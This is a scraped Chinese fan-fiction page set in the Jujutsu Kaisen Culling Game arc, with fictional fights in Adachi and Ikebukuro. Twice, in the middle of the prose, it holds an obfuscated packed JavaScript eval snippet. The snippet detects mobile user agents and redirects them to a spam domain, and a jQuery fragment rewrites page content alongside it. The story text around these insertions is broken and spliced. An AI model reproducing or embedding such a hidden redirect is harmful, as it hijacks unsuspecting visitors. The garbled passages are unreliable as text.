“哈!你就看着人家兄弟的尸体被做成咒物,又被加茂宪伦拿走随意摆弄,现在好意思说大话去保护他?” 说起日照星海,九十九由基还有一些更深刻的印象,虽然不知道具体的术式效果,但仅凭当年一度被推上“五条悟成长起来之前的最强”的宝座,就足以印证日照星海的术式【仳】的强大。而且当年就有传言,日照双子和五条家好像还有点什么别的关系…… 天元没有继续这场争吵的意思。祂与九十九由基不是第一次见面,自诩全知的祂却也不敢直言通晓人心,每次与这姑娘的见面都会不欢而散,二人在关于术师和咒术界的一些问题上持有不同的态度。可能也是因为她曾为星浆体的缘故,九十九由基单方面对天元保有不理解、不尊重的态度。 “而且,护卫?天元大人不是拥有【不死】术式的吗?”虎杖悠仁发问。 天元:“那就要从羂索的目的说起了。” “......羂索?那又是谁?今天新人物出场太多个了吧?” 怎么这种时候都在吐槽啊虎杖!伏黑惠无语。 “那孩子是占据了加茂宪伦、日照星海等人躯体的术师,也是开启了死灭洄游、企图让人类与天元(我)同化的人。” 在涩谷事变的尾声中,九十九由基与加茂宪伦——也就是羂索,展开了一场关于咒力最优解的争论。前者持“脱离”咒力论,后者则称最优解是“与天元同化”。这些有的没的、谁也说服不了谁的争辩现在提起也没什么意思,现状就是羂索利用手上唯二的人手咒物剥离了真人的【无为转变】,通过远程发动术式,配合早已准备好的精妙结界术,强行开启了死灭洄游。 被那个人手咒物夺走的术式能被他人使用一次,之后术式会被“放归”。一个被羂索用来使用了【无为转变】,另一个则夺走了【无下限咒术】。 九十九由基问:“你还能和非星浆体同化吗?” 天元:“我的术式是【不死】,但并非不老,11年前与星浆体同化失败后,我的身体已经自动进化为更高等级的存在了。现在的我可以与非星浆体同化,至少在羂索眼中是这样的。” “哈?等等,”九十九由基意识到了什么,她的大脑疯狂转动,最后得出了一个连她自己都觉得不可置信的结论,“是日照弥山!?他的术式能达到和同化同样的效果吗?” 由于缺少相关情报,关于日照弥山此人究竟拥有何种术式,高专众人一概不知,因此只能被动地看着九十九由基陷入一副深思的模样。只有乙骨忧太一副欲言又止的模样。 天元兀自说了下去:“同化失败,我就会进化成为了更高等级的存在。简单来说,这个状态更接近咒灵,所以,我也就会成为【咒灵操术】的术式对象。” 这下高专众人按捺不住了:“夏油老师的——!?” 九十九由基反应极快:“【咒灵操术】!?难道羂索原本是想用人手咒物夺走夏油的术式,用狱门疆封印五条悟吗?虽然不知道为什么反过来了......但你要求护卫是建立在确信羂索会得到【咒灵操术】、而你又会再次进化的前提下。为什么?” 天元没有正面回答九十九由基的问题:“狱门疆在花御的手上,羂索暂时还没得到它。” 突然间,代表死灭洄游系统的小金突然出现在了薨星宫本殿内。 “有泳者增加了新规则!!《总则9》!!泳者可以自由出入结界!!” 乙骨忧太第一时间挥刀,然而小金在被砍成两段后,伤口如同烟雾一样重新弥合。 “这是小金,是死灭洄游的管理者。”天元解释。 伏黑惠:“死灭洄游?但是我们当中没有人参与......” 虎杖悠仁猛然反应过来:“......是宿傩。他肯定在千年前就和羂索立下了约定!即便还没有宣誓参加死灭洄游,但他已经确定会是泳者了,所以小金才会出现吧?” 禅院真希问:“现在距离死灭洄游开始才刚过去三天,就已经有人拿到了100分......能看到是谁增加的新规则吗?” 小金只听从虎杖悠仁的命令,他重新问了一遍,却得到了否定的回答。现在的小金只能看见死灭洄游的九条总则,其他情报一概无法显示。 “啧,长话短说,现在大家的时间都不多,”九十九由基道,“按照现在的情况来看,我们只要保证日照弥山还活着就行,但也不能确定他的态度。我觉得由我自己留下来当护卫就足够了,羂索在得到狱门疆和日照弥山的身体之前不会考虑到薨星宫来。” “......”天元的沉默让人不安。 “正好,我还有事想和你聊聊。” 天元:“我没意见。” 乙骨忧太趁机询问:“那么,解封狱门疆的方法和那个人手咒物的下落?” 天元摊开双手:“很遗憾,那个咒物的下落我也不清楚。狱门疆有两个入口,狱门疆·表就是咒灵手上的那个,而狱门疆·里已经不在我的手上了。” —— 时间略微退回稍早前。 2018年11月3日,上午10时,足立区。 “那日照先生,你能成为我的骑士吗?” 路过突然被逮住的日照:“......哈?” 梳着蝎尾一样发辫、打扮成熟的女孩叫住了他。现在的日照不管是配上一把骨锯还是任何能够被称之为“杀人凶器”的东西,都能够去恐怖片片场扮演刚从分尸现场走出来的杀人狂。凌晨离开桥本町时穿的新衣服已经被泳者的鲜血溅得满是血点,还有几滴在他没有注意到的时候溅到了后颈和脸颊上。 身旁的小金还在孜孜不倦地报数:“获得了5分!!” 日照的身后是沥沥嗒嗒从夺走他人生命的撬棍上滴下来的血迹。 丽美无法离开他人。她的人生就是不断寻求强大的男人保护自己、爱自己。被卷入死灭洄游之后,原本“强大”的人却没有觉醒术式,所以为了继续生存下去,她开始寻找可以让她这个柔弱之人依附的强壮桅杆。 现在她找到了——那个人的分数一直在增加,几乎没有人是他的对手。主动找上门来的家伙都被一棍子送回老家了,她还完全没见过那人使用过术式的样子。 “日照先生!”丽美没有丝毫惧怕,直直地冲了过来,握住了日照空着的左手,脸颊泛起了红晕:“我是丽美,您的术式是什么样的呢?您会保护我、会爱我的吧?” 单眼染血的青年在日光直射下耀眼得过分,纯黑的发丝边笼着一圈亮白的柔光,同样深沉的黑色瞳孔就像是潜藏着无数秘密的漩涡,让人明知危险重重却又忍不住接近。 丽美沉沦其中。 “啊、是吗?” 她的“骑士先生”和她对话了! “那丽美,”日照没有松开被握住的手,俯身主动拉近了与她的距离,宛若纠缠不休的鬼神,“你会为我做什么呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137735|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊啊、如果您需要分数,我可以把那些愚蠢的家伙们引过来,这样日照先生就不用四处奔波——” 就可以专心地做我的骑士——!! 然而,手握天平的恶魔却更加贪婪、更加急切:“你能拿来交换的,就只有这些吗?” “丽美?” 女孩被蛊惑了。这本不该是一场赌上所有的赌局,但丽美已经深陷其中,再也无法逃离。 “所有的、任何的。” 恶魔终于满意了。 将一根羽毛和一颗心脏同时放到天平的两端,孰轻孰重呢?阿努比斯将人类的心脏与真理之羽置于天平上比较,以此来判断何人该下地狱。“代价”与“恩赐”如果同时放上天平的两端,会有一方像真理之羽那样拥有永远公允、不变的质量,以此来衡量另一方的轻重吗? 日照拍了拍丽美的头顶,笑着说:“嗯嗯,那我们出发吧!” 丽美还没能从诱人坠入的深渊中逃离:“......诶?” 日照手中的撬棍忽然扭曲碎裂,他扔掉手中残留的碎屑,拍了拍手,向四周看去。 “丽美,帮我找找这附近有摩托或者自行车之类的吗?要带后座的那种。” “好的!”丽美脚步飞快地跑向了街道边。 日照看着女孩的背影,心里不知道在想什么。忽然,他的目光看向南方。 “小金,”他目光看向的地方出现了两个手持枪械的人,从制服背面印着的“警视厅”字符来看,应该是附近警察署的警察吧,“前面的人里有泳者吗?” 在他询问的同时,迎面撞上的两人也发现了独自一人的日照。 大田和中岛不是真正的警察。他们是平日里依靠小偷小摸度日的惯犯,被卷入死灭洄游时他们正在警察署里等待这次的处罚。当那个丑不拉几的东西出现在自己眼前时,大田正想着怎么给自己熟悉的警官塞钱,好让他赶快离开这里。 “你......看不见这家伙吗?”大田指着半空中的小金,再三向中岛确认。 “什么东西?那里什么都没有啊?”中岛不明所以。 大田突然用力握了一下手。下一刻,再次张开的手掌中出现了一小节血淋淋的肠道。 逃离警察署前,他和中岛换上了警察们的衣服。不少人因为他们身上的这身衣服而选择向他们求助,自然而然的,作为“回报”,大田收走了他们的分数。 大田不知道什么术式、咒术和咒灵,他只是突然拥有了足以颠覆他过往生活的超能力,而警察署外面的世界也变得不再那么无趣。在这里,杀人无罪。 “喂,那边的小哥!”就像大田和中岛演练过的那样,瘦瘦高高的中岛率先向日照的方向走去。 “嗯?警察先生们有什么事吗?”中岛走到这人面前才发现,青年的身高至少在180往上,比他还要高出半个头。 “啊、我是说,你没事吧?衣服上都是血,需要帮忙吗?” 中岛突然产生了一丝怯意。普通人对于一些在权威机构工作的人带有天然的滤镜,如果身边没有做这种工作的人,那么这种微妙的感觉会更甚。像是警察、法官或者律师,在真正近距离接触过之前,总会因为他们工作的性质而被动附加“良善”和“可信任”的标签。 然而这个青年看着他靠近,神色没有丝毫变化。中岛咽了咽口水,继续向前迈步:“需、需要帮忙吗?” 嚯—— 日照的眼睛微眯,比多数人优越的身高为他提供了良好的视野。 这两个人,不是警察吧?小偷?抢劫杀人犯? 他饶有兴致地盯着自从见到他就再也没有动过的大田:“有意思的术式。你们,是小偷吧?” “!?”中岛的直觉灵验了!他被眼前人漫不经心间释放出来的微弱杀意定在了原地,双腿的肌肉一抽一抽的却不肯迈步带着他逃跑。 大田见状也知道自己碰上了硬茬子,索性直接丢下中岛,转身一个人逃跑了。 被留下等死的中岛滑稽地望向自己的“同伴”,然后涕泪横流。 大田带着中岛一起行动就是为了用他去做挡箭牌。他的超能力、也就是术式,是名为【妙手】的偷窃能力。大田可以偷走存放于“内部”的东西,比如保险柜里的钱,口袋里的车钥匙,还有人体内的内脏。 然而使用这个能力的条件也很苛刻,术师本人不能被术式对象(活物)长时间关注,偷走的东西是什么、拿走多少全看手气。 利用身上这身警服,遇见老人孩子和体弱的女性就直接哄骗她们可以跟着他们离开结界,大部分人很轻易地就相信了他们,然后带去没有人的地方折磨杀掉。 如果遇见日照这样的青壮年男性,中岛就会过去主动搭话。对方即便怀疑,注意力也大多放在中岛身上,这时大田就可以使用术式,偷走那人的某块内脏。 凭借这种方法,大田已经拿到了17分,作为搭档的中岛则拿到了前半辈子见都没见过的巨款。 大田慌不择路地跑着。获得超能力后,他感觉自己的身体素质也有所提升,不仅跑得比原来更快,感知能力也提升到了全新的高度。这次他们碰到的人也拥有超能力!甚至比他更强! 他还没好好享受人生!!中岛那个蠢蛋,现在的情况,日元肯定狠狠贬值,要钱有什么用!?能力才是决定一切的制胜法宝! 对了!他还有枪!大田的手摸向腰间。 “获得5分!!” 小金的声音在大田耳边响起,他惊愕地看向它,然而小金却不会产生“对视”的行为,它只是忠诚地播报着分数的变动。 得分?可是他……? 直到下半身忽然传来无力感,如同做梦时在梦中奔跑,无论怎样迈动双腿都无法前进一步的荒诞感涌上心头。视野不受控制地侧滑,在脑袋接触到地面的那一刻,大田终于反应了过来。 斩断他身体的是一张扑克牌,这张染血的牌就钉在了他逐渐失去光亮的眼前。 没有去看倒在地面上的两具尸体,日照问:“小金,我现在有多少分?” “泳者日照弥山!!分数:67分!!” “……还差得远啊。啊、差点忘了这家伙......”日照将大田和中岛的枪捡了起来,放进了包里。随后他用牌将大田的一只手掌切了下来,发动了自己的术式。那只断口处还喷涌着血液的断手以肉眼可见的速度干瘪了下去,血管收缩,变得像是干尸一样。 原本躺在地上的尸体突然崩解,变成了一堆灰烬。 像这样边走边找碰运气似的扫地图效率实在太差。 今天已经是死灭洄游开始的第三天,城市里依然有不少不是泳者的非术师滞留在结界内。估计很快,给予这些普通人的“新手福利”就会被收回。 一旦到了夜晚,结界内就是咒灵横行的地狱,对于普通人来说更是被直接断绝了生路。 “日照先生!只有这一辆还算完好,您要试一下吗?” 刚才那场战斗……不,只是一场小插曲,发生得悄无声息,丽美并没有察觉到异常。 “辛苦你啦,好了,坐上去吧,要抱紧我哦。”日照拍了拍自行车后座。 “啊啊、是!!”丽美本想并腿侧坐,但被日照拒绝了。 “跨着坐吧,要抓紧哦?” 丽美将脸埋进日照的后背,双臂抱紧对方的腰:“是!我准备好了,日照先生!” 回答她的是差点将她甩飞的狂风。 5. 你好,池袋 日照选定的前进方向是池袋。池袋作为著名的商业区和交通枢纽物资丰富,想必有不少泳者会将那里作为目的地。对于现在正在狩猎泳者、赚取分数的日照来说,那里也是效率更高的猎场。 从出发到抵达池袋站西口周边住宅区总计耗时2小时23分钟。 日照从未对他人说起过自己的术式,丽美也察觉到对方并不喜欢自己总是询问有关术式的问题,所以也就乖乖听话,尽全力发挥自己的作用——帮忙找车、从大门敞开的便利店里拿走零食和饮料之类的。 路途上企图劫车的术师和不长眼的咒灵都被日照顺手解决掉了。 来到池袋附近,滞留此地的非泳者明显多了起来,从他们行走的方向来看,似乎是有意聚集在这附近的? 东京第1结界的边界就在附近。 “亲爱的,这些人究竟是什么人?穿着相同的黑色制服,还有这个黄色漩涡纽扣。” “管他们呢,反正他们的目的是那些没有分数的普通人,等他们撤离得差不多了,我们就去占了这附近的传送地点。喂,甘井,去找个高处蹲好,有人来就挥指示灯,听懂了没?” 甘井凛顶着一头黄毛,谨慎地跟在羽场夫妇身后点了点头。 —— “好了!大家有序往西走,前方很安全,一直走别停!”日下部笃也举着喇叭循环播放早已录好的懒散口号,一边像是周三晚上刚下班的社畜一样叹了一口气。 “快点结束吧,真是的,什么时候是个头啊。” 为了避免引起普通人不必要的恐慌与多余的问题,熊猫没有出现在撤离现场,而是负责周围的警戒。这附近毕竟有一个传送地点,从稍早的时候就开始不断有新加入死灭洄游的泳者被传送到半空中。 对于这唾手可得的分数,大多数隐藏在池袋附近的泳者们选择了观望。新加入的倒霉蛋如果如果运气差的话,自己就会摔死,虽然可惜了那点分数,但总比眼看着被别人拿走要让人更舒服一点。 更别说还有高专的人在附近,这种疏散群众的行为很明显是有组织性地进行,尽管有传言说五条悟已经失去了【无下限咒术】,但传言也只是传言,在它变成事实之前,狡猾的家伙们总是乐意为了绝对的自由而蛰伏一段时间的。 “日下部先生!” 辅助监督今井太郎抱着平板电脑跑到日下部笃也的身边,尽可能小声地说:“有特殊频道送来的信息。” 日下部笃也挠了挠头发,从对方手中接过一张小纸条。不论看多少次,这种仿佛穿越回连厕纸都没有的年代的传信方式还是让他感慨五条悟的神奇。看完纸条上的信息,他用咒力销毁了它。 “唉——为什么麻烦事都一箩筐地往我这边来啊。今井,你来负责举这个喇叭,我有事先走了!” “诶!?等等,日下部先生?” 今井太郎看着还遥遥无期的队尾有些生无可恋。还以为“末日”后,他们辅助监督就不用再给咒术师们加班干活了,难道他到死都要给这些任性的家伙们扫尾吗!? “......我可还想多活一会儿呢啊,可别给我惹事。”日下部笃也叼着一根糖棍代替烟卷,向熊猫和狗卷棘所在的地方跑去。 随着空中出现“砰”地一声轻响,感官敏锐的人抬起头向半空望去。 一个小黑点突兀地出现在了池袋的上空,并且还在急速下坠中。 “羽生大姐,下面的那群人还没走完......”甘井凛站在楼顶挥舞指示灯,看向身边利用术式将自己的头发变成小型喷气式发动机的人。 “做好你的事,第一棒交给亲爱的。” 甘井凛闭上嘴,不再询问:“......是。” 他们说什么自己就做什么,该捧场的时候就嘿嘿嘿地跟着傻乐,这是他在上学的时候学会的生存之道。 位于池袋的诸位泳者此刻都注意到了闯入猎场的“猎物”。 甘井凛打起的指示灯无疑成为了开战的信号,埋伏在池袋站东口西武百货顶层的诅咒师取出了咒符,召唤出两只骨鸟式神。落地点附近的地面上已经被人密密麻麻地拉起了钢索,另一个泳者躲在附近。还有更多的人,他们没有能够在空战中取得优势的手段,所以寄希望于新来的能够活着着陆。一旦落地,很多事情就好办了。 正在撤离的人群也因此掀起了小范围的骚动,但在今井太郎和另一位辅助监督的努力下,人流移动的速度还是快了一些。 “终于有人来了啊。”日照感受到了附近涌动的咒力,眼睛一扫,大致将周围潜藏的泳者找了个七七八八。 捕猎就是要先给猎物撒些饵料,猎物才会主动上钩。 他随手拎着丽美从站立处起跳,三两下进入了西武百货。 —— 人从三百米的高空坠落一共需要多少秒呢?也许就是在心中默读出这一行字的时间。 日车宽见,36岁,修习59期,岩手律师事务所所属律师,名副其实的天才。就在三天前,他因为不满庭审结果而当庭使用刚刚觉醒的术式杀死了负责审判的两名法官。在应答了名为小金的家伙的问话后,日车宽见就被随机传送到了池袋的上空。 “喂喂,是个穿黑西装的体面人啊。” 头顶螺旋桨的羽场大哥看见了甘井凛打出的指示灯,他绷紧身体,头顶的螺旋桨带着他向坠落中的日车宽见冲去。 哼,他的螺旋桨可是连钢筋水泥都可以轻松切断的啊,单凭咒力操作强化身体可不行。羽场看出日车宽见在看见他之后就立刻用咒力覆盖了身体,但他对自己的术式有着强大的自信。日车宽见的身上可没有那个人那样恐怖的咒力——那种仿佛连周身的空气都会被一起分解消融掉的可怕感觉。 日车宽见的手里出现了一个小木槌。只是眨眼间,那个木槌就变得和水缸一样大。 羽场的螺旋桨是由头发变换而成,位于头顶,因此为了达到攻击的效果,他会放平身体,在接近目标的那刻用强化过的头部冲撞对手。如果没有防御的手段,这一击的冲击力就算是高等级术师也会断上几根骨头,更别说还有削铁如泥的螺旋桨可以直接将对手搅碎。 没有丝毫慌张的情绪,日车宽见抡起变大的木槌对准了羽场的秃头。羽场夫妇的术式让他们的身体只有在即将接近对手的时刻极为坚固,以此换来极快的飞行初速度。在飞行启动或结束时,他们的躯体与普通人无异。 咚——!! 木槌与秃头的对决以两败俱伤结束。 “啧。”日车宽见的手臂完全被巨大的力道冲击到失去了知觉,如果不是利用咒力强化了肌肉,恐怕刚才就要和自己的手臂说再见了。 羽场则冒出了鼻血,虽然还能飞行,但已经失去了刚才的速度。 更为糟糕的是,刚才的对冲让日车宽见偏离了原先的坠落轨迹,原先他会坠落在池袋西口公园附近的宽阔地带,现在他反而朝着旁边的高楼坠去。这对日车宽见来说是个好事,坠落距离的缩短更利于他安全着陆,现在他正调整着身体姿态准备落到高楼顶层。 如果用木槌击打脑袋不能起到有效作用的话,日车宽见就准备开启领域。尽管尚未完全摸透,但据他实验和推测,开启后的领域会停留在开启时的地方不动,只要再解除的话,他就能完全免去先前坠落时产生的加速度,同时也可以将羽场拉入领域,消除对方通过飞行累加的超高速度。 奔跑的日下部笃也听到天空中传来的接二连三的巨响,露出了死鱼眼:“熊猫!狗卷!快走!!” 身处池袋站30余个出口之一的狗卷棘和熊猫自然不会错过空中发生的对撞。 “大芥?” “哦!日下部!怎么了?”熊猫戴着熊猫头拳套捶死了一只三级咒灵,发现了日下部笃也。 “快走了!待会儿这里可能会变得很不妙!我们去疏散区那里!” “要说不妙,还能怎么不妙啊?” 找到人之后,日下部笃也率先向来时的方向头也不回地返程。熊猫和狗卷棘对视了一眼,也纷纷跟了上去。然而不管熊猫怎么问,日下部笃也都拒不透露半点更多的消息。 日下部笃也想起了刚才的小纸条。哪怕是只看字也能在脑中幻想出五条悟说出那句话时的表情:啊、对了,有个很难搞的家伙估计会去池袋,因为他要赚分数所以可能会闹得稍——微大一点,日下部你尽量和穿着制服的人走在一起比较好哦。实在没办法的时候就大喊我的名字就好啦!就这样。 抱歉,他很惜命,所以他拽上了五条悟的两个学生。那家伙估计也不认识熊猫,他们三个人的命运就看你了,狗卷棘同学! “啊——真是麻烦!他从哪里找来这么多人啊!”日下部笃也大声抱怨了一句。 “明太子!” 熊猫问:“怎么了吗,棘?” 狗卷棘指了指街边店面里躲藏的孩子,二话不说地准备上前。 脚下的彩砖忽然震颤了两下,飞溅的血液沾到了狗卷棘后脑的白发上。 熊猫神色严肃,向狗卷棘的方向跑来。它后面的日下部笃也也顾不上叼糖棍了,摆出了新·阴流·拔刀的起手式,额头露出了汗珠。 有什么、在身后——!! 狗卷棘瞪大了紫色的眼睛,直觉在叫嚣着危险。时间在危机到来的那一刻流速变缓,所有人的神经都在瞬间绷紧。 突然出现在狗卷棘身后的青年单手握住了诅咒师的手,一脚踹向对方的心窝。 哐——!! 接连的撞击声和什么东西飞速移动产生的风压让狗卷棘迅速反应过来。他转身,正好与单眼的青年对了个正着。 日照看了眼两人一熊猫,从眼前这个人的制服上看就知道应该是高专的人,他就将注意力放在握住的断手上。这个蹲在西武百货顶层的诅咒师战斗力不怎么样,可逃跑能力一流,刚才又主动自断一臂逃过了日照那记照着心窝踩下的攻击。 “切。”他举了举断臂,忽地又将它丢开,指缝间冒出了一张扑克牌。 狗卷棘离得最近,他看清了形势。被这个青年追杀的人摔进了周边的店里,然而那个店里刚才躲着一个孩子!! 尘粒如同海雾般涌动,狗卷棘看到了店里的孩子距离那个断臂的术师不足半米,而眼前的这个人马上就要发动攻击了! 他当机立断拉下制服的拉链,口中蕴含着诅咒的语言倾泻而出:“不许动。” 在最后一个音符发出的时候,狗卷棘就意识到了不对。他会被咒言反噬......他的话还没说完,青年的手臂已经甩了出去。 “棘!!”熊猫赶过来搂住脱力的狗卷棘几个后跳,远离了危险区域。 这家伙——日下部笃也确信,五条悟说的“会闹得有点大”的家伙就是他!如果自己没看错,这个人刚才几乎是与狗卷棘同时发动了术式,然而这个人却无视了咒言的效果......不,狗卷的咒言并非没有效果,而是这个人的术式比咒言的术式效果生效更快! “......真是个怪物。”从咒力量看还不到1级咒术师的水准,但精细的咒力操作和极短的术式启动时间让他可以在咒言生效前使出自己的术式! 小金突然冒了出来:“获得5分!!” 日照头也不回地走了:“都被切成这样了,要是还活着那我会被嘲笑死的。” 盯着那个新人的泳者很多,虽然率先出场的羽场让战局没能完全落到地面上来,但一旦有一人开打,局面就不是能够轻易控制住的。 池袋只会有一个胜者。 看着日照的身影消失,喉咙泛着血腥味的狗卷棘示意熊猫自己没事,然后两人冲向刚才的店面去看那个孩子的情况。 “呜哇啊、哇啊……”孩子受到惊吓而大哭了起来,狗卷棘则和熊猫同时松了一口气。 熊猫用毛茸茸的手指夹起两段尸首中的扑克牌,结果在拿起来的途中化为了飞灰:“扑克?这个看上去和宿傩类似的攻击是用扑克牌打出来的吗?” “鲑鱼。”狗卷棘的喉咙还有些肿痛,他喝下了随身携带的润喉药才好了一些。 那道攻击几乎斜着斩开了整间店铺,却唯独避开了孩子所在的地方。 “……喂,带上那个小鬼,我们走了!” 日下部笃也将刀塞回腰间,招呼熊猫和狗卷棘赶快离开。 熊猫突然反应过来:“我说日下部,你不觉得他很眼熟吗?” 日下部笃也:......别这样,看破不说破啊熊猫。 深谙摸鱼之道的成年男人选择装作没听见。 —— 日车宽见在落地的同时躲开了从空中突袭而来的两只骨鸟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137736|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吸收必要的知识,输出必要的东西,日车宽见用最少的时间适应了自己的术式,并通过术式自带的领域【诛伏赐死】领悟了结界术的基础,并以此掌握了强化术。 咒力就是人类的负面情绪泄露出的能量,人体内提炼出的咒力会在体内以特定的路线进行“流动”。日车宽见现在已经可以利用咒力操作让更多的咒力“堆积”在需要被强化的部位,但他还不能做到减少在咒力流动时浪费的咒力。 左手的木槌突然消失,又换了个大小出现在了右手,击中了羽场的侧脸。 “额!” 羽场脑袋嗡嗡的,被打了一个措手不及。 “你这家伙......难道是受肉型!?”他吐掉嘴中的碎牙和血沫,双脚蹬地利用术式飞到半空,躲开了日车宽见敲地鼠一样的快速进攻。 “受肉啊,”日车宽见扯了下领带,让脖颈的活动范围扩大一些,面不改色地说,“能具体展开来说说吗?” 不知何时,那两只骨鸟突然消失不见了。日车宽见能够感受到不同的视线注视着自己和羽场的方向,大概是想浑水摸鱼捡点便宜的人吧。 “臭小子,到地狱去学吧!”羽场再一次飞上高空拉开距离,准备再次进行高速攻击。 日车宽见抬起了手。 “领域展开——” 羽场瞪大了眼睛。咒术战的顶点领域展开!?这个男人不是受肉型泳者,从他对咒力操作的熟悉程度来看也不像是活跃已久的咒术师,刚刚获得术式不足三天,日车宽见居然已经学会领域展开了吗!? 羽场的速度一旦提起就无法轻易停下,他看见日车宽见的身后出现了巨大的黑影式神,构成领域的结界已经蔓延到了日车宽见的脚下。 日车宽见站上了由木栏杆围起来的席位。 然而他的领域【诛伏赐死】就像是卡顿了一样,结界蔓延的速度忽然减慢,最后像是进度条卡在了98%一样,不再动了。 日车宽见:? 像是强行被捏碎的玻璃球一样,【诛伏赐死】未完全展开的结界一寸寸碎裂,日车宽见被赶下了检察官席。 “——好了!到此为止!”日照收回右手比出的手印。随着结界的破碎,日车宽见的身影显露了出来。 羽场大哥像是见鬼了一样:怎么会是那个怪物!? “亲爱的!!”羽生大姐从另一侧向日照飞了过来,想要和自己的男人两面夹击发起进攻。能够造成伤害固然好,如果不能的话她就会首先选择带着对方逃离这里。 术师可以行使的生得术式大多数是与生俱来的,而且随着时代的进步,很多术式遵循现代事物的轨迹和规律,也因此出现了一些十分新颖、效果非常复杂的现代术式。 掌握着咒术总监部的老头子们总是更喜欢术式效果一眼明了的类型,在他们固化僵朽的大脑中刻印着“咒术就应该是这样”的根深蒂固的想法。 日照双臂张开,双手分别对着羽场夫妇冲来的方向。 咒术应该是什么样的,一群只会躲在阴暗角落里、一年都不用几次术式的老头子们怎么可能会明白呢? 咒力涌动间,刻印在大脑上的另一个术式被唤醒了。在术式发动之际,术师体内的咒力会逐渐冲涨、满溢,这个准备的过程就是术式的唤醒。 “就那么直直地站在那里,想被我们撞成肉酱吗!?”羽场夫妇没有察觉到任何的异样。 日照弥山或许在咒力量上比不过其他术师,但他的术式在经历“唤醒——激活”的过程中,几乎没有任何停顿。他是实打实的,使用术式速度最快的术师。 精细的咒力操作让日照在发起攻击前,体内咒力的流动没有丝毫偏移。然而在羽场夫妇以近乎音速的速度靠近他周身一米范围内时,日照的双臂忽然迸发出了庞大的咒力。 扩张术式·立地金刚。 血肉如同烟花般炸开,高速飞来的人体仿佛撞上了一堵无形的铁壁,即便使用术式和咒力强化过的身体也在这无形之壁下撞成了一堆碎骨和血块。 “获得5分!!获得5分!!” 小金的报数让此地凝滞的空气得以继续流通,羽场夫妇从完整的人形到周围这滩不可名状的液体,总计耗时0.6秒。 这是术式【仳】的活用,也是日照开发的数种扩张术式中的一种。与生俱来的生得术式无法更改,但是术式范围是否可以拓宽?术式对象是否可以增加?也许更大胆一些,术式效果是否可以由我心意而动? 咒术应该是什么样的? 决定上限的是天赋,还有最重要的想象力。想象力可以让术师去到更高、更强的地方。 “啊、原来是他们两个。真巧啊,居然又在这里碰上了!” 日照想起了他刚进入东京第1结界时躲在高楼里的那两个术师,好巧不巧又撞到他的枪口上来了。不过这次可没有高楼让他们躲。 日车宽见沉默地盯着眼前的青年。羽场夫妇在青年的身边炸开,不知道这究竟是他的术式还是利用了咒力,总之他的身上没被沾到一滴血迹,就像是什么圆球形的东西罩住了他。 日照转过头来看向日车宽见:“嗯,你的术式也很有意思啊。现代术师的术式与现行的规则结合得越来越紧密,有的时候理解起来有些困难......难道这就是那群老家伙们喜欢守旧的原因吗?因为年龄太大了导致智力都退化了吗?真可笑啊。” 自说自话的家伙......精神鉴定报告肯定不正常吧?日车宽见手握木槌,没有贸然行动。 “你能看见他人的术式?” 日照衡量了一下。他的确能够看穿他人的术式,更精确地说,他是能够通过观察对方在使用术式时咒力的流动,得出对方的术式信息。而这一切的基点则是...... “是的。但具体来说,一般并不能看穿术式的名字和具体信息,只是可以通过观察咒力的流动得出使用效果之类的。我能看见这些是因为我有一只特别的眼睛。” 日车宽见有些不理解:“你就这么告诉我了?” 日照向他的方向走了两步,意味深长地说:“咒术是很有意思的哦。嗯嗯,附带‘没收’的‘死刑’啊......” 看着浮现在日车宽见身后的黑色式神,他再次比出手印:“法官先生,你知道‘束缚’吗?” 6. 问答游戏 有种说法是,修炼咒术就是在追求减法的极致。省略构成术式的咒词、手印,减少从术式唤醒到发动的步骤,日照将减法做到了顶点。 然而某些咒术的使用,日照宁愿花费更多的时间念诵咒词或者费力比出手印,通过将术式作为仪式进行升华,从而获得超越百分百的效力。 2018年11月3日,下午13时43分。 领域【诛伏赐死】——第二次展开失败。 —— “我说伏黑,那个日照弥山,你知道他吗?” 从薨星宫出来之后,跟在众人身后的伏黑惠就沉默了下来。他平常也不是多话的人,但虎杖悠仁还是察觉到了他的异样。思来想去,他觉得伏黑惠好像认识那个日照弥山。 伏黑惠在听到这个名字的时候就觉得非常耳熟,他想了一路,感觉有一些灵感冒了出来,却又难以抓住,不上不下地在心里卡着。 九十九由基将他们送到薨星宫的参道入口。在知晓狱门疆·里已经被日照弥山带走之后,她险些忍不住自己的暴脾气。天元总是这样,自诩全知的术师却又总是不肯将事实如实告知,似乎总是有这样那样的理由让祂隐藏一些秘密。 这样若即若离的态度无法让九十九由基彻底信任祂,但她身为曾经的星浆体,进入咒术界后又总是听到身边人恭敬地称呼祂为天元大人,这样潜移默化影响下,她并没有真正怀疑过天元的立场。 “听好,虽然从天元的话里听日照弥山站在我们一方,但我还是觉得你们不能轻易将他归为自己人。羂索占据了日照星海的尸骸,他说不准会利用这一点来和日照弥山做什么交易......不过日照弥山与天元......算了,这关系真是一团乱麻,总之,对他务必要抱有十二分的警惕心,我会在这边争取问到更多的情况,有新进展会通过机械丸告知你们的。” 几人回到了地下室,将从天元那里得到的消息告知了钉崎野蔷薇和七海建人,结束治疗的钉崎野蔷薇想要回东北的老家一趟。 “放心好了小伙子们,”铁娘子啪啪地拍着虎杖悠仁的后背,豪爽地说,“我只是回去把祖母安置好,很快就会回来的!不要太想我哦!” “一路顺风,钉崎。”虎杖悠仁郑重道。 